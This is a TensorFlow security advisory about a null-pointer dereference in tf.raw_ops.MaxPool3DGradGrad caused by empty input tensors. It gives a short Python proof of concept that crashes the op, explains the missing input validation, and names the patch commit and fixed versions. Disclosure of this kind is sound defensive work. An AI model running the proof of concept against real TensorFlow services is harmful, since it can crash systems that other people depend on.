Description
Impact
The implementation of `tf.raw_ops.MaxPool3DGradGrad` exhibits undefined behavior by dereferencing null pointers backing attacker-supplied empty tensors:
```python
import tensorflow as tf
orig_input = tf.constant([0.0], shape=[1, 1, 1, 1, 1], dtype=tf.float32)
orig_output = tf.constant([0.0], shape=[1, 1, 1, 1, 1], dtype=tf.float32)
grad = tf.constant([], shape=[0, 0, 0, 0, 0], dtype=tf.float32)
ksize = [1, 1, 1, 1, 1]
strides = [1, 1, 1, 1, 1]
padding = "SAME"
tf.raw_ops.MaxPool3DGradGrad(
orig_input=orig_input, orig_output=orig_output, grad=grad, ksize=ksize,
strides=strides, padding=padding)
```
The implementation fails to validate that the 3 tensor inputs are not empty. If any of them is empty, then accessing the elements in the tensor results in dereferencing a null pointer.
Patches
We have patched the issue in GitHub commit a3d9f9be9ac2296615644061b40cefcee341dcc4.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
